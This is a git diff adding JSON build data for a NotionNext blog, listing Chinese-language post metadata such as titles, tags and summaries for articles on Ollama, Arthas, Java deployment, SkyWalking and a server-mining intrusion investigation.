2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG.json
new file mode 100644
index 000000000..ad870c2e6
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/search/NotionNext BLOG.json	
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","results":[]},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","results":[]},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","results":[]},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","results":[]},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","st